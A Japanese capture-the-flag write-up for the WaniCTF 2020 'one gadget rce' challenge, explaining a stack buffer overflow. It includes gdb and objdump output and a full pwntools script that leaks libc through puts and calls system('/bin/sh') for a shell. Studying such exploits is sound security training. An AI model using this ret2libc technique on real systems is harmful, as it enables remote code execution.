WaniCTF 2020 pwn 07 one gadget rce Writeup

私の環境では作問者writeup改は動かなかったのでしばらく放置していたが，修行を積んで，再チャレンジしたら動いた。
ROPを使ったlibcのロードアドレスのリークを理解するのに役立つ。
libc leak

# 問題文
nc rce.wanictf.org 9007
ROPを使ったlibcのロードアドレスのリークを理解する必要があります。
libc上にあるone gadget RCE (Remote Code Execution)の探し方と呼び出し方を理解する必要があります。
one_gadget libc-2.27.so

使用ツール例
pwntools
objdump
ROPgadget
one_gadget

セキュリティ保護
Partial RELocation ReadOnly (RELRO)
Stack Smash Protection (SSP)無効
No eXecute bit(NX)有効
Position Independent Executable (PIE)無効

入手ファイル
pwn07.c
pwn07
libc-2.27.so

```c:pwn07.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "hello ";
char str_tail[] = "!\n";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    puts("Welcome to one-gadget RCE!!!");
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    puts("\n***start stack dump***");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    puts("***end stack dump***\n");
}
```


# 作問者writeup改が動かなかった状況

コードを変更した部分

```
#io = pwn.remote("rce.wanictf.org", 9007)
io = pwn.process("./pwn07")
```

実行結果

```
$ python pwn07.py 
[+] Starting local process './pwn07': pid 2741
Welcome to one-gadget RCE!!!
What's your name?: 

```

で固まる

# bof

```
# ./pwn07
Welcome to one-gadget RCE!!!
What's your name?: AAA
hello AAA!

***start stack dump***
0x7ffc849e8400: 0x0000004141418420 <- rsp
0x7ffc849e8408: 0x00000004004006c0
0x7ffc849e8410: 0x00007ffc849e8420 <- rbp
0x7ffc849e8418: 0x000000000040087e <- return address
0x7ffc849e8420: 0x00000000004009b0
0x7ffc849e8428: 0x00007f596b0a5bf7
0x7ffc849e8430: 0x0000000000000001
***end stack dump***

What's your name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hello AAAAAAAAAA2!

***start stack dump***
0x7ffc849e8400: 0x4141414141418420 <- rsp
0x7ffc849e8408: 0x0000003241414141
0x7ffc849e8410: 0x4141414141414141 <- rbp
0x7ffc849e8418: 0x4141414141414141 <- return address
0x7ffc849e8420: 0x4141414141414141
0x7ffc849e8428: 0x4141414141414141
0x7ffc849e8430: 0x0000000000414141
***end stack dump***

Segmentation fault (core dumped)
```

入力が長いと Segmentation fault するので bof ありだ。
ソースを見ると vuln 関数の read にbofがあるのがわかります。

ソースの再掲（抜粋）

```c:vuln
void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
```

# "A"の数は

メイン関数

```:main
gdb-peda$ pdisass 
Dump of assembler code for function main:
   0x000000000040085a <+0>:	push   rbp
   0x000000000040085b <+1>:	mov    rbp,rsp
=> 0x000000000040085e <+4>:	mov    eax,0x0
   0x0000000000400863 <+9>:	call   0x400880 <init>
   0x0000000000400868 <+14>:	lea    rdi,[rip+0x1d9]        # 0x400a48
   0x000000000040086f <+21>:	call   0x400650 <puts@plt>
   0x0000000000400874 <+26>:	mov    eax,0x0
   0x0000000000400879 <+31>:	call   0x4007a7 <vuln>
   0x000000000040087e <+36>:	jmp    0x400874 <main+26>
End of assembler dump.
```

vuln のリターンアドレスは， 0x40087e

What's your name?: に対して "AAA" を入力した後のスタック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/91883bf6-9d8c-1312-5bbe-da467bb3cbfe.png)
"A" は 22個

# どのようにshellをとるか？
覚えたての 例のモノ が使えるか確認
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/7a6ff6c5-68ad-a314-e47b-c37e3e475e83.png)
libc-2.27.so 内に "/bin/sh\x00" の文字はある。

```
$ objdump -d -M intel ./libc-2.27.so | less
/ system

000000000004f550 <__libc_system@@GLIBC_PRIVATE>:
   4f550:       48 85 ff                test   rdi,rdi
   4f553:       74 0b                   je     4f560 <__libc_system@@GLIBC_PRIVATE+0x10>
   4f555:       e9 66 fa ff ff          jmp    4efc0 <__strtold_nan@@GLIBC_PRIVATE+0xd0>
   4f55a:       66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
   4f560:       48 8d 3d bb 48 16 00    lea    rdi,[rip+0x1648bb]        # 1b3e22 <_libc_intl_domainname@@GLIBC_2.2.5+0x18e>
```

libc-2.27.so 内の 0x4f550 に system() がある。

# libcリークは？

```
puts("Welcome to one-gadget RCE!!!");
```

を使いましょう。

# ROP部品集め

pop rdi; ret ( 5f c3 ) を探す

```
objdump -d -M intel ./pwn07 | less
/ 5f

  400a12:       41 5f                   pop    r15
  400a14:       c3                      ret    
```

0x400a13

ret ( c3 ) を探す

0x400a14

# exploitコード

```python:pwn07.py
# coding: UTF-8
# WaniCTF 2020 pwn 07 one gadget rce
# https://github.com/wani-hackase/wanictf2020-writeup/tree/master/pwn/07-one-gadget-rce
# https://satoooon1024.hatenablog.com/entry/2021/03/31/093021#Heres-a-LIBC-90-points

# python pwn07.py
# python pwn07.py remote

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    # debugは動かない
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file) 
    return io

file = "./pwn07"
libc = "./libc-2.27.so"
nc = "nc rce.wanictf.org 9007"

chall = ELF(file)
libc = ELF(libc)

io = get_io()

io.recvuntil("What's your name?: ")

pop_rdi = 0x400a13
ret = 0x400a14

payload = b""
payload += b"A" * 22
payload += p64(pop_rdi)             # pop rdi; ret;
payload += p64(chall.got["puts"])   # putsのgotアドレスをRDIにセットし
payload += p64(chall.plt["puts"])   # putsを呼びputsのgotアドレスをリークさせる
payload += p64(chall.sym["vuln"])   # リーク後もう一度bofさせるため，vuln関数を呼ぶ

io.sendline(payload)
io.recvuntil("***end stack dump***\n")
io.recvline()
libc_leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym["puts"]

payload = b""
payload += b"A" * 22
payload += p64(ret)                                 # アライメント
payload += p64(pop_rdi)                             # pop rdi; ret;
payload += p64(next(libc.search(b"/bin/sh\x00")))   # 動的に配置された"bin/sh"のアドレス     
payload += p64(libc.sym["system"])                  # systemのアドレス

io.sendline(payload)
io.interactive()
```

　
　
作問者writeup

https://github.com/wani-hackase/wanictf2020-writeup/tree/master/pwn/07-one-gadget-rce